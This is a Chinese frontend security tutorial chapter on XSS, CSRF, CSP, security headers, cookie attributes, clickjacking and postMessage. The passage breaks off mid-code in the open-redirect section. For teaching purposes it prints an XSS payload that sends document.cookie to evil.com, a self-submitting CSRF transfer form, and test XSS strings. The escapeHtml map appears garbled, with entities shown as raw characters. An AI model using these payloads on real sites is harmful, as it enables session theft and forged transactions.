12 · 安全(详解版)
一句话定位:前端安全的核心不是「加个加密」,而是不信任任何输入、不给攻击者执行代码的机会、不把敏感能力暴露给浏览器。
读完本篇你应该能做到
- 说清 XSS、CSRF、点击劫持、开放重定向的原理、绕过手法与防线边界;
- 独立配置 CSP、Cookie 属性与安全响应头,并能解释每条头挡住了什么;
- 识别供应链与第三方脚本风险,做出可解释的取舍与退出方案;
- 把安全做成流程(威胁建模、门禁、监控、应急),而不是一次性的补丁。
0. 领域导论
0.1 这个领域解决什么问题
| 事件 | 根因 | 类别 |
|---|---|---|
用户昵称里写入 <img onerror=...>,访问者 Cookie 被窃 | 直接把用户输入拼进 HTML | XSS |
| 攻击者诱导已登录用户访问恶意页,自动发起转账 | 请求自动携带 Cookie,服务端无法区分来源 | CSRF |
| 引入一个同名恶意 npm 包,构建时窃取环境变量 | 依赖名拼写错误 / 投毒 | 供应链 |
| 页面被嵌进钓鱼站,用户以为在操作真站 | 未设置 X-Frame-Options / frame-ancestors | 点击劫持 |
登录后跳转到 ?redirect=//evil.com | 未校验跳转白名单 | 开放重定向 |
| 用户 A 改 URL 里的订单号,看到用户 B 的订单 | 只在前端做权限判断 | 越权(IDOR) |
| 线上源码与接口地址出现在公开 sourcemap 里 | 构建产物未排除 | 信息泄露 |
安全的特殊性:它的失败不会在日常测试中暴露。功能全对,但只要有一个人输入了恶意内容,所有访问者都受影响;而攻击者只需要找到一个入口。
三条必须先建立的认知:
- 前端的所有校验都是「体验优化」,不是安全边界。请求可以被直接构造,服务端必须重新校验。
- 浏览器是攻击者的执行环境。只要能让它执行一段脚本,同源内的一切(DOM、存储、请求)都可以被操控。
- 安全是概率与成本的博弈。目标不是「绝对安全」,而是「让攻击成本高于收益,并把影响面控制在可接受范围」。
0.2 一个类比
把 Web 应用想成一栋楼:
- 同源策略是楼里的分区门禁:不同公司(源)之间不能随便串门,但门禁只认「牌子」,不认「人」。
- XSS 是有人把一张伪造的工牌贴在你身上,让你以「自己人」的身份执行他的命令。你已经在大楼里了,所有门都为你打开。
- CSRF 是有人拿着你的工牌复印件去办事——门禁认牌不认人。攻击者不需要进你的办公室,只要让「你的牌子」刷一次。
- CSP 是白名单:只允许名单上的工人进入施工。名单外的工具进不来,但已被允许的工具被掉包仍会出问题。
- 供应链是建材采购:水泥里掺了东西,楼盖得再标准也没用。
- HTTPS 是押运车:路上不被偷看与调包,但货物本身有毒它管不了。
核心心法:输入不可信、输出要编码、权限在服务端、能力要最小化。
0.3 学习地图
12 安全
├─ 前置:01 HTML(解析)、05 浏览器(同源/存储)、10 网络(CORS/Cookie)
├─ 紧接:13 测试(安全测试)、18 可观测(异常检测)
├─ 交叉:09 构建(供应链)、14 BFF(服务端防线)
└─ 长期:17 架构(安全架构与合规)
与本套其他篇章的分工:
| 篇章 | 负责回答 | 本篇如何引用 |
|---|---|---|
| 05 浏览器 | 同源策略、存储、进程隔离 | 本篇只谈「用它挡什么」 |
| 10 网络 | CORS、Cookie 传输、TLS | 本篇谈「配置的安全含义」 |
| 14 BFF | 服务端校验、鉴权 | 本篇谈「前端不能替代什么」 |
| 09 工程化 | 依赖与构建 | 本篇谈「供应链与产物泄漏」 |
0.4 分级标尺
| 级别 | 能力特征 | 典型产出 | 自检标准 |
|---|---|---|---|
| L1 基础 | 知道 XSS/CSRF,会转义与配 Cookie | 安全编码 | 能说出输入在哪被转义、Cookie 属性各挡什么 |
| L2 进阶 | 会配 CSP、安全头、依赖审计 | 安全配置清单 | 能解释每条头的用途与边界 |
| L3 高级 | 懂绕过与纵深防御、供应链治理 | 安全方案、SDK、检测规则 | 能对攻击面建模并给出降级路径 |
| L4 专家 | 建 SDL、合规与应急体系 | 安全规范、演练、度量 | 能对风险定级与资源分配负责 |
升级判定:L1 会「照做」;L2 能解释「为什么」;L3 能回答「如果这层被绕过,还剩什么」;L4 能回答「投入多少、放弃什么、出事怎么办」。
1. L1 基础:三类高频攻击
1.1 XSS:让别人的浏览器执行你的代码
1.1.1 三类 XSS 的注入路径
// ❌ 直接拼接用户输入
commentList.innerHTML = `<div class="comment">${userInput}</div>`;
// 攻击者输入:
// <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
| 类型 | 入口 | 是否落库 | 特点 | 典型场景 |
|---|---|---|---|---|
| 存储型 | 用户输入被保存后展示 | 是 | 影响所有访问者,危害最大 | 评论、昵称、工单、文件名 |
| 反射型 | URL/表单参数被直接回显 | 否 | 需要诱导点击,常配合钓鱼 | 搜索词回显、错误页、登录回跳 |
| DOM 型 | 前端 JS 把不可信数据写入 DOM | 否 | 不经过服务端,WAF 难发现 | innerHTML、location、eval |
| 突变型(mXSS) | 浏览器解析后结构变化 | 视情况 | 消毒后再次解析才触发 | 富文本、innerHTML 反复读写 |
// DOM 型:数据从 URL 进入,直接被写入
const keyword = new URLSearchParams(location.search).get('q');
result.innerHTML = `搜索:${keyword}`; // ❌ 可注入
为什么 DOM 型难防:请求里看不到恶意内容(可能在 #hash 里),服务端日志干净,WAF 无法匹配;只有在前端代码里做输出编码才能解决。
1.1.2 输出上下文与编码规则
同一个字符串,放在不同位置需要不同的处理。「统一转义」是最常见的错误。
| 上下文 | 示例 | 正确处理 |
|---|---|---|
| HTML 文本 | <div>${x}</div> | 转义 & < > " ' |
| HTML 属性 | <div title="${x}"> | 引号包裹 + 转义引号与 & |
| URL 参数 | <a href="/s?q=${x}"> | encodeURIComponent + 协议校验 |
| JS 字符串 | <script>var a="${x}"</script> | 序列化为 JSON,不要拼接 |
| CSS | style="color:${x}" | 白名单枚举,禁止自由输入 |
| HTML 注释 | <!-- ${x} --> | 不允许用户输入进入 |
/**
* 按 HTML 文本上下文转义。
* 注意:这只适用于「文本节点」,不能用于属性、URL、JS 上下文。
* @param {string} input 不可信字符串
* @returns {string} 转义后的字符串
*/
export function escapeHtml(input) {
const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' };
return String(input).replace(/[&<>"']/g, (ch) => map[ch]);
}
/**
* 安全的站内跳转:只允许相对路径,拒绝 // 与伪协议。
* @param {string} target 用户提供的地址
* @param {string} fallback 兜底地址
*/
export function safeRedirect(target, fallback = '/') {
if (!target) return fallback;
if (!target.startsWith('/') || target.startsWith('//')) return fallback;
if (/^\/\\/.test(target)) return fallback; // 处理 /\evil.com
return target;
}
一个容易忽略的坑:属性值不加引号时,空格就能截断属性,<div class=${x}> 里输入 a onmouseover=alert(1) 即可注入。所有属性值都必须加引号。
1.1.3 危险 API(sink)清单
| API / 属性 | 风险 | 安全替代 |
|---|---|---|
innerHTML / outerHTML | 解析并执行 | textContent |
insertAdjacentHTML | 同上 | 创建节点 + append |
document.write / writeln | 可覆盖整页、阻塞解析 | 不要用 |
eval / new Function | 任意代码执行 | 数据驱动,别执行字符串 |
setTimeout(string) / setInterval(string) | 隐式 eval | 传函数 |
element.setAttribute('onclick', x) | 事件属性执行 | addEventListener |
location = x / location.href = x | javascript: 伪协议 | 校验协议 + 白名单 |
a.href = x | 同上 | 同上 |
iframe.srcdoc = x | 可注入 HTML | 消毒 + sandbox |
script.src = x | 加载任意脚本 | 固定域名白名单 |
Worker(x) / import(x) | 动态执行 | 固定 URL,不接受用户输入 |
React dangerouslySetInnerHTML | 显式绕过转义 | 消毒后再用 |
Vue v-html | 同上 | 消毒后再用 |
Angular bypassSecurityTrustHtml | 同上 | 尽量避免 |
审计方法:全局搜索上述 API,逐个确认「数据来源是否可信」。可以用 ESLint 规则把高风险 API 设为 error(见 4.2)。
1.1.4 富文本:白名单净化
富文本不能简单转义(会丢掉排版),也不能只用黑名单(绕过方式太多),正确做法是解析后按白名单重建。
import DOMPurify from 'dompurify';
/**
* 富文本消毒:只保留安全标签与属性,链接强制加 rel。
* 说明:DOMPurify 依赖浏览器解析器,行为比正则可靠。
* @param {string} dirty 不可信 HTML
* @returns {string} 安全 HTML
*/
export function sanitizeRichText(dirty) {
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote'],
ALLOWED_ATTR: ['href', 'title', 'rel', 'target'],
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form', 'input'],
FORBID_ATTR: ['style', 'srcset', 'onerror', 'onload'],
});
// 二次加固:所有外链加 noopener,避免 window.opener 被劫持
const doc = new DOMParser().parseFromString(clean, 'text/html');
doc.querySelectorAll('a[href]').forEach((a) => {
a.setAttribute('rel', 'noopener noreferrer nofollow');
a.setAttribute('target', '_blank');
});
return doc.body.innerHTML;
}
| 方案 | 安全性 | 说明 |
|---|---|---|
黑名单过滤 <script> | 低 | 大小写、命名空间、事件属性都能绕过 |
| 正则替换标签 | 低 | HTML 容错解析会产生意外结构 |
| 白名单 + 解析器(DOMPurify) | 高 | 主流方案,仍需关注 CVE 与配置 |
| 服务端渲染为纯文本 | 最高 | 不支持富文本排版 |
| 结构化编辑器(JSON 文档模型) | 高 | 从源头不产生 HTML,成本高但最稳 |
mXSS(突变型 XSS):某些 HTML 在第一次解析时看起来安全,序列化后再解析却产生可执行结构。防御方式是「不要反复 innerHTML 读写」;必须读写时,每次都重新消毒。
1.1.5 框架提供的边界与盲区
| 框架 | 默认安全 | 风险点 |
|---|---|---|
| React | JSX 插值自动转义 | dangerouslySetInnerHTML、href={userInput} |
| Vue | 模板插值自动转义 | v-html、v-bind:href |
| Angular | 模板转义 + 消毒 | bypassSecurityTrust*、innerHTML 绑定 |
| Svelte | 插值转义 | {@html} |
| 原生 DOM | 无 | 全部 API 需自己处理 |
框架挡不住的三件事:
- 属性里的 URL:
<a href={userInput}>仍然可以放javascript:; - 服务端拼好的 HTML:接口返回一段 HTML 直接塞进
dangerouslySetInnerHTML; - 第三方库的 DOM 操作:图表、编辑器、地图库内部可能用
innerHTML。
1.1.6 常见坑与验证
| 坑 | 后果 | 修复 |
|---|---|---|
只转义 < 和 > | 引号逃逸出属性 | 按上下文完整转义 |
先 decodeURIComponent 再插入 | 双重解码绕过 | 只解码一次,输出时再编码 |
用 escape() / unescape() | 已废弃且不可靠 | 用标准编码函数 |
| 富文本只在服务端过滤 | 其他客户端可绕过 | 双端都做,前端用白名单 |
过滤后直接 innerHTML | mXSS | 每次写入都消毒 |
把用户输入拼进 style | CSS 注入、数据外带 | 白名单枚举 |
怎么验证:
// 1) 用无害 payload 自测(不要在生产环境执行)
const payloads = [
'<img src=x onerror=alert(1)>',
'"><svg onload=alert(1)>',
'javascript:alert(1)',
'<a href="javascript:alert(1)">x</a>',
];
// 2) 检查页面里是否存在未转义的注入点
document.querySelectorAll('[onerror],[onload]').length;
更系统的做法是接入自动化扫描(如 OWASP ZAP)与安全团队的渗透测试。
1.2 CSRF:借用你的登录态
1.2.1 攻击模型
1. 用户登录 bank.com,浏览器存了 Cookie(HttpOnly,JS 读不到)
2. 用户在同一浏览器访问 evil.com
3. evil.com 自动提交表单到 bank.com/transfer
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
4. 浏览器自动带上 bank.com 的 Cookie
5. 服务端认为「是本人操作」,转账成功
关键点:攻击者不需要读到响应,只要请求发生就够。所以「跨域读不到响应」并不构成防护。
1.2.2 为什么浏览器会自动带 Cookie
Cookie 的发送规则只看「目标域名 + Path + Secure + SameSite」,与「请求由谁发起」无关。这是 Web 的设计基础(否则每个站内请求都要手动带凭证),也是 CSRF 的根源。
请求发起方:evil.com
目标: bank.com
Cookie 是否携带?取决于:
├─ Domain/Path 是否匹配
├─ Secure 是否满足
└─ SameSite 是否允许跨站
1.2.3 SameSite 的三档与例外
| 值 | 跨站子资源 | 跨站顶层导航 | 同站 | 说明 |
|---|---|---|---|---|
Strict | 不带 | 不带 | 带 | 最严,但从外部链接进入会显示未登录 |
Lax(现代默认) | 不带 | GET 带 | 带 | 平衡体验与安全 |
None | 带 | 带 | 带 | 必须配 Secure,用于跨站嵌入 |
「站」的判定:scheme + eTLD+1,不含端口与子域。所以:
https://a.example.com与https://b.example.com是同站,SameSite不拦;http://example.com与https://example.com是跨站(scheme 不同);https://foo.github.io与https://bar.github.io是跨站(公共后缀列表)。
两个例外要知道:
- Lax + POST 的 2 分钟窗口:Chrome 对「刚设置的 Cookie」在 2 分钟内允许跨站 POST 携带,用于兼容旧站点。安全敏感场景不能依赖这个行为。
- 顶层 GET 导航会带 Lax Cookie:所以写操作绝不能用 GET。
1.2.4 Token 方案:同步令牌与双提交
/**
* 双提交 Cookie:服务端把随机 token 同时写入 Cookie 与响应体/页面,
* 前端读取后放进请求头,服务端比对两者。
* 攻击者能发起请求,但读不到 Cookie(同源策略),也设不了自定义头。
*/
export async function postWithCsrf(url, body) {
const token = document.cookie
.split('; ')
.find((row) => row.startsWith('csrf_token='))
?.split('=')[1];
return fetch(url, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token ?? '',
},
body: JSON.stringify(body),
});
}
| 方案 | 原理 | 优点 | 注意 |
|---|---|---|---|
| 同步令牌 | 服务端把 token 嵌进页面,随请求提交 | 最可靠 | 需要模板渲染,前后端分离时麻烦 |
| 双提交 Cookie | Cookie 与请求头各一份,服务端比对 | 无状态,易扩展 | 需要防子域覆盖 Cookie(用 __Host- 前缀) |
| 自定义头 + CORS 预检 | 简单请求不能带自定义头,预检可拦 | 成本低 | 依赖 CORS 配置正确 |
| Origin 校验 | 比对 Origin/Referer | 兜底 | 部分场景可能没有该头 |
Set-Cookie: __Host-csrf_token=abc123; Secure; Path=/; SameSite=Lax
__Host- 前缀要求:Secure + Path=/ + 不设 Domain,可以防止子域写入同名 Cookie 覆盖。
1.2.5 Origin / Referer 校验
/**
* 服务端兜底:只接受来自白名单 Origin 的写请求。
* 注意:部分请求可能没有 Origin(如旧客户端),需结合 Token。
* @param {Request} req
*/
export function assertSameOrigin(req) {
const origin = req.headers.get('origin');
const allowed = new Set(['https://app.example.com', 'https://admin.example.com']);
if (!origin || !allowed.has(origin)) {
throw new Error('非法来源');
}
}
为什么只能当兜底:Origin 在部分跨站场景会被省略,Referer 可被策略裁剪;单靠它容易被误判或绕过。
1.2.6 常见坑
| 坑 | 后果 | 修复 |
|---|---|---|
| 写操作用 GET | 顶层导航即可触发 | 一律用 POST/PUT/DELETE |
只依赖 SameSite=Lax | 顶层 GET、同站子域仍可被利用 | 叠加 Token 与 Origin 校验 |
| Token 放在 URL | 泄漏到日志与 Referer | 放请求头或表单体 |
| Token 可预测 | 直接被猜中 | 密码学随机(≥128 位) |
| 登录接口无 CSRF 防护 | 登录 CSRF(诱导登录攻击者账号) | 登录也要 Token |
跨域带 Cookie 配置成 * | 凭证泄漏给任意源 | 精确 Origin + Allow-Credentials |
1.3 敏感信息:前端能做的和不能做的
1.3.1 一条铁律:前端不保存秘密
凡是被浏览器执行/渲染的东西,用户都能看到。
打包产物、环境变量、源码注释、接口地址、密钥——全部可见。
| 做法 | 是否有效 | 说明 |
|---|---|---|
| 前端加密密码再传 | 有限 | 只是把明文变固定密文,仍可重放;必须靠 HTTPS |
把 token 放 localStorage | 有风险 | XSS 可直接读取 |
把 token 放 HttpOnly Cookie | 更稳 | XSS 读不到,但要防 CSRF |
| 在前端存密钥(API Key/私钥) | 无效 | 打包产物人人可见 |
用 base64 编码敏感数据 | 无效 | 不是加密 |
| 在注释里写内部地址 | 无效 | 注释会被打包保留(视配置) |
1.3.2 Token 存储位置的真实取舍
| 存储位置 | XSS 风险 | CSRF 风险 | 跨域携带 | 适合 |
|---|---|---|---|---|
localStorage | 高(可直接读) | 无(不自动带) | 需手动加头 | 短期体验优先的内部系统 |
sessionStorage | 高 | 无 | 同标签页 | 同上 |
| 内存变量 | 中(刷新丢失) | 无 | 手动 | 短生命周期 token |
HttpOnly Cookie | 低 | 高(需防护) | 自动 | 大多数 Web 应用 |
HttpOnly + SameSite=Strict | 低 | 低 | 跨站不带 | 安全优先、可接受体验损失 |
没有「绝对安全」的选项,只有「把风险放在哪」的选择。主流选择是 HttpOnly Cookie + CSRF 防护,因为它把「读取」的风险转成了「伪造请求」的风险,而后者有成熟解法。
1.3.3 前端加密的三个误区
❌ 「密码 RSA 加密后再传,就安全了」
→ 公钥在前端可见,密文可被重放;中间人仍能劫持会话
✅ HTTPS + 服务端加盐哈希(bcrypt / argon2 / scrypt)
❌ 「数据 Base64 了,用户看不懂」
→ 编码不是加密,一行代码就能还原
❌ 「把接口参数签名放在前端,就防篡改」
→ 签名密钥在前端可见,攻击者可自己签名
唯一例外:端到端加密产品(如密码管理器)里,密钥由用户口令派生且不上传,此时前端加密是产品设计的一部分,不是传输层安全的替代。
1.3.4 信息泄漏的四个渠道
| 渠道 | 泄漏内容 | 处理 |
|---|---|---|
| sourcemap 公开 | 源码、注释、接口地址 | 生产环境关闭或上传到私有平台 |
| 错误上报 | 堆栈、参数、用户标识 | 脱敏后再上报 |
| 日志与埋点 | 手机号、身份证、地址 | 字段级脱敏、哈希 |
| 接口返回冗余字段 | 内部 ID、权限位、其他用户数据 | 服务端按需返回(DTO) |
/**
* 上报前脱敏:手机号、邮箱、身份证只保留可识别片段。
* @param {Record<string, unknown>} data
*/
export function maskSensitive(data) {
const text = JSON.stringify(data);
return text
.replace(/(1[3-9]\d)\d{4}(\d{4})/g, '$1****$2')
.replace(/([\w.+-]{1,2})[\w.+-]*(@[\w-]+\.[\w.]+)/g, '$1***$2')
.replace(/(\d{6})\d{8}(\d{4})/g, '$1********$2');
}
1.3.5 常见坑
| 坑 | 后果 | 修复 |
|---|---|---|
.env 里的密钥被打进前端包 | 密钥公开 | 只暴露 PUBLIC_/VITE_ 前缀,其余留在服务端 |
| 生产 sourcemap 可公开访问 | 源码泄漏 | 上传到私有服务或关闭 |
| 错误堆栈带请求体 | 用户数据进日志 | 白名单字段上报 |
| 前端隐藏按钮当权限控制 | 接口仍可调用 | 服务端鉴权 |
| URL 里放 token | 进浏览器历史与 Referer | 放请求头 |
1.4 HTTPS 与混合内容
<!-- HTTPS 页面里加载 HTTP 资源会被浏览器拦截 -->
<script src="http://cdn.example.com/lib.js"></script> <!-- 被拦 -->
| 问题 | 表现 | 处理 |
|---|---|---|
| 混合内容(active) | 脚本/iframe 被拦截 | 全部改 HTTPS |
| 混合内容(passive) | 图片自动升级或拦截 | 同上 |
| 证书过期 | 整站不可用 | 到期监控 + 自动续期 |
| HSTS 误配 | 无法回退到 HTTP | 先在测试域验证,逐步加 max-age |
| 自签名证书 | 用户看到警告 | 不要用于生产 |
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
HSTS 的代价:一旦下发,浏览器在 max-age 内强制 HTTPS,回退很麻烦。上线顺序应该是:
1. 先设 max-age=300(5 分钟)验证
2. 逐步提升到 1 天、1 个月、1 年
3. 最后才考虑 preload(进入浏览器内置列表,几乎不可逆)
1.5 L1 小结与自检
| 主题 | 关键结论 |
|---|---|
| XSS | 按上下文编码 + 白名单消毒 + CSP 兜底 |
| CSRF | SameSite + Token + Origin 校验,写操作不用 GET |
| 敏感信息 | 前端不存秘密,HTTPS 是底线 |
| 危险 API | innerHTML/eval/javascript: 是主要入口 |
| 泄漏渠道 | sourcemap、错误上报、日志、冗余字段 |
自检题
- 为什么
textContent比innerHTML安全?——它把内容当纯文本节点插入,不解析标签与事件属性;innerHTML会解析 HTML 并执行内联事件或脚本。 - SameSite 能完全防住 CSRF 吗?为什么?——不能。
Lax仍允许顶层 GET 导航携带 Cookie,同站子域不受限,旧浏览器也可能不识别;需要配合同步令牌或 Origin 校验。 - 前端加密密码为什么不能替代 HTTPS?——密钥在前端可见,攻击者可截获或篡改页面;HTTPS 保护传输与完整性,服务端仍需加盐哈希存储。
- 为什么「跨域读不到响应」不等于 CSRF 安全?——CSRF 只需要请求发生,不需要读取响应;转账、改密码这类操作在请求到达时就已生效。
- 富文本为什么必须用白名单而不是黑名单?——HTML 解析容错、命名空间、事件属性、编码变体让黑名单几乎无法穷举;白名单从「允许什么」出发,未列出的全部拒绝。
2. L2 进阶:CSP 与安全头
2.1 CSP:给浏览器一张白名单
2.1.1 指令体系
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com wss://ws.example.com;
frame-src 'self' https://pay.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
object-src 'none';
upgrade-insecure-requests;
| 指令 | 管什么 | 建议 | 漏配的后果 |
|---|---|---|---|
default-src | 未单独声明的资源兜底 | 'self' | 其他指令缺失时无兜底 |
script-src | 脚本来源 | 禁 'unsafe-inline'/'unsafe-eval' | XSS 可直接执行 |
script-src-attr | 内联事件属性 | 'none' | onclick="..." 可执行 |
style-src | 样式来源 | 尽量不用 'unsafe-inline' | CSS 注入、数据外带 |
img-src | 图片来源 | 只放可信 CDN | 图片探测内网、像素追踪 |
connect-src | fetch/XHR/WebSocket | 精确到接口域名 | 数据被外发 |
frame-src | 可嵌入的 iframe | 白名单 | 嵌入恶意页面 |
frame-ancestors | 谁能嵌我 | 'none' 或白名单 | 点击劫持 |
base-uri | <base> 标签 | 'self' | 相对路径被劫持到攻击域 |
form-action | 表单提交目标 | 'self' | 表单数据被发到外部 |
object-src | Flash/插件 | 'none' | 历史插件漏洞 |
upgrade-insecure-requests | 自动升级 HTTP 资源 | 建议开启 | 混合内容 |
default-src 不是万能的:frame-ancestors、base-uri、form-action 不会从 default-src 继承,必须显式写。
2.1.2 nonce、hash 与 strict-dynamic
| 方式 | 适用 | 优点 | 缺点 |
|---|---|---|---|
'nonce-xxx' | 服务端渲染的页面 | 每次请求随机,攻击者无法预测 | 需要动态渲染,静态页面难用 |
'sha256-xxx' | 固定的内联脚本 | 可静态生成 | 脚本一改哈希就变 |
'strict-dynamic' | 现代应用 | 允许受信脚本动态加载的脚本执行,忽略域名白名单 | 旧浏览器不认识,需要回退列表 |
<!-- 服务端每次响应生成新 nonce,并写进 CSP 头 -->
<script nonce="r4nd0m">/* 允许执行 */</script>
<script src="/app.js" nonce="r4nd0m"></script>
nonce 的三个必须:
- 每次响应随机生成(密码学随机,至少 128 位);
- 不能复用、不能写死、不能出现在缓存页面里;
- 只给确实需要的内联脚本加,不要给所有标签批量加。
strict-dynamic 的取舍:它让「受信脚本加载的脚本」也受信,解决了第三方库动态插入脚本的问题;代价是「受信脚本」一旦被攻破,其加载的任意脚本都可执行。所以它依赖「脚本本身可信」,而不是「域名可信」。
2.1.3 上线路径:先观察,再强制
第 1 周:Content-Security-Policy-Report-Only,收集违规
第 2–3 周:按指令聚合违规,修内联脚本、补白名单、处理第三方
第 4 周:小流量强制(按域名/用户分桶)
第 5 周:全量强制,保留 report-uri 监控
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
/**
* 前端也能监听违规(部分浏览器支持),便于本地调试。
* 生产环境建议用 report-uri/report-to 由服务端收集。
*/
document.addEventListener('securitypolicyviolation', (e) => {
console.warn('[CSP]', {
blocked: e.blockedURI,
directive: e.violatedDirective,
disposition: e.disposition,
});
});
2.1.4 「配了但没生效」的六种原因
| 原因 | 表现 | 排查 |
|---|---|---|
| 头被覆盖 | 有多个 CSP 头,浏览器取交集(更严) | 看 Network 响应头的全部 CSP |
写在 <meta> 里 | frame-ancestors、report-uri 不生效 | 改用响应头 |
| 被 CDN/网关改写 | 本地生效、线上不生效 | 对比本地与线上响应头 |
unsafe-inline 还在 | 内联脚本照常执行 | 检查是否误留 |
| 页面有多个 CSP 来源 | 一个来自应用、一个来自网关 | 逐个核对 |
| 缓存了旧策略 | 改了头但行为没变 | 强刷、检查缓存键 |
2.1.5 已知绕过手法
| 绕过 | 原理 | 缓解 |
|---|---|---|
| JSONP 端点 | 白名单域名上的 JSONP 可回显脚本 | 不用 JSONP,或加 callback 白名单 |
| 可控上传的 CDN | 白名单域名能上传 HTML/JS | 上传域名与静态域名分离 |
| Angular 类库 gadget | 允许的库可被模板注入利用 | 升级库、限制 unsafe-eval |
base-uri 未限制 | 相对路径脚本被劫持 | 显式 base-uri 'self' |
| DOM clobbering | 利用 id/name 覆盖全局变量 | 代码中避免依赖全局 id |
unsafe-eval | 字符串转代码 | 移除,换实现 |
| 服务端注入的 nonce | nonce 被回显到可控位置 | nonce 只在服务端模板生成 |
结论:CSP 是「降低影响面」的手段,不是「消除 XSS」的保证。它必须与输出编码、消毒、Trusted Types 叠加。
2.2 安全响应头清单
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-origin
| 头 | 防什么 | 注意 |
|---|---|---|
| HSTS | 降级到 HTTP、SSL 剥离 | 一旦 preload 很难回退 |
nosniff | MIME 嗅探导致脚本执行 | 与正确的 Content-Type 配合 |
X-Frame-Options | 点击劫持 | 现代用 frame-ancestors 更灵活 |
Referrer-Policy | URL 敏感信息泄漏 | 太严会影响分析,太松会泄漏路径 |
Permissions-Policy | 第三方滥用摄像头/定位 | 按需开启,默认全关 |
| COOP | 跨窗口引用(window.opener) | same-origin 可隔离攻击面 |
| COEP | 跨源资源加载 | require-corp 会让未声明 CORP 的资源失败 |
| CORP | 资源被跨站读取 | 静态资源按需设置 |
X-XSS-Protection 不要再依赖:它已被主流浏览器移除或默认关闭,配置反而可能引入漏洞。
COOP/COEP 的代价:开启后页面进入「跨源隔离」,才能用 SharedArrayBuffer 与高精度计时;但嵌入的第三方资源必须带 CORP 或 CORS 头,否则加载失败。上线前要盘点所有第三方资源。
2.3 Cookie 的四个安全属性
Set-Cookie: __Host-sid=abc; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
| 属性 | 作用 | 遗漏后果 |
|---|---|---|
HttpOnly | JS 不可读 | XSS 直接偷走会话 |
Secure | 仅 HTTPS 发送 | 明文网络被截获 |
SameSite | 限制跨站携带 | CSRF |
Path/Domain | 作用范围 | 泄露到不相关子域 |
Cookie 前缀:
| 前缀 | 强制要求 | 作用 |
|---|---|---|
__Secure- | 必须 Secure | 防止在不安全连接上设置 |
__Host- | Secure + Path=/ + 无 Domain | 防止子域覆盖,适合会话与 CSRF Token |
Domain 的坑:Domain=.example.com 会让所有子域共享 Cookie。任何一个子域被攻破(或被第三方托管),都能读写这份 Cookie。会话 Cookie 尽量不设 Domain。
第三方 Cookie 的收紧:主流浏览器正在限制第三方 Cookie(CHIPS 分区、默认拦截)。跨站嵌入的场景要提前验证,不要假设 SameSite=None 一定可用。
2.4 点击劫持与 iframe 安全
2.4.1 攻击原理
攻击者页面
┌──────────────────────────────┐
│ 「恭喜中奖,点击领取」 │
│ ┌────────────────────────┐ │
│ │ 真实站点(透明 iframe) │ │
│ │ [确认转账] 按钮 │ │
│ └────────────────────────┘ │
└──────────────────────────────┘
用户以为点的是「领取」,实际点到 iframe 里的「确认」
2.4.2 防御
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
| 方案 | 粒度 | 建议 |
|---|---|---|
X-Frame-Options: DENY | 完全禁止 | 不需要被嵌的页面 |
X-Frame-Options: SAMEORIGIN | 同源可嵌 | 内部系统 |
frame-ancestors 'none' | 完全禁止 | 推荐,现代标准 |
frame-ancestors https://a.com | 白名单 | 需要被指定站点嵌入 |
两者同时设置时,浏览器按更严格的执行;新项目直接用 frame-ancestors。
补充手段:对关键操作要求二次确认(输入密码、短信验证),即使被点击劫持也无法完成;但这是兜底,不是替代。
2.4.3 嵌入第三方时的 sandbox
<iframe
src="https://widget.example.com"
sandbox="allow-scripts"
referrerpolicy="no-referrer"
loading="lazy"
title="第三方组件"
></iframe>
| sandbox 令牌 | 放开什么 | 风险 |
|---|---|---|
allow-scripts | 执行 JS | 中(通常是必需的) |
allow-same-origin | 保留源,可访问 Cookie/存储 | 高,与 allow-scripts 同开等于沙箱失效 |
allow-forms | 提交表单 | 中 |
allow-popups | 打开新窗口 | 中(可配合 noopener) |
allow-top-navigation | 导航顶层页面 | 高(可劫持整页) |
allow-modals | alert/confirm | 低 |
关键组合:sandbox="allow-scripts allow-same-origin" 在同源 iframe 上会让脚本可以移除 sandbox 属性,等于没隔离。能不给 allow-same-origin 就不给。
2.5 postMessage:跨窗口通信的唯一正道
/**
* 发送:必须指定目标源,不要用 '*'。
* @param {Window} target 目标窗口
* @param {object} data 数据(结构化克隆)
*/
targetWindow.postMessage({ type: 'ORDER_CREATED', id: '123' }, 'https://app.example.com');
/**
* 接收:必须校验 origin 与数据结构。
*/
window.addEventListener('message', (event) => {
if (event.origin !== 'https://app.example.com') return;
const data = event.data;
if (typeof data !== 'object' || data?.type !== 'ORDER_CREATED') return;
handleOrder(data.id);
});
| 错误做法 | 后果 |
|---|---|
postMessage(data, '*') | 任何嵌入方都能收到,数据泄漏 |
不校验 event.origin | 任意页面可注入消息 |
直接 eval(event.data) | 远程代码执行 |
相信 event.source | 可被伪造的窗口引用误导 |
| 传输 DOM 节点/函数 | 结构化克隆会失败或丢语义 |
传输大数据的注意:postMessage 使用结构化克隆,大对象会产生拷贝成本;可用 Transferable(ArrayBuffer)实现零拷贝。
2.6 开放重定向与 URL 注入
// ❌ 直接跳转用户传入的地址
location.href = params.get('redirect');
// ✅ 白名单 + 只允许站内相对路径
function safeRedirect(target, fallback = '/') {
if (!target) return fallback;
if (!target.startsWith('/') || target.startsWith('//')) return fallback;
if (target.includes('\\')) return fallback; // 处理 /\evil.com
try {
const url = new URL(target, location.origin);
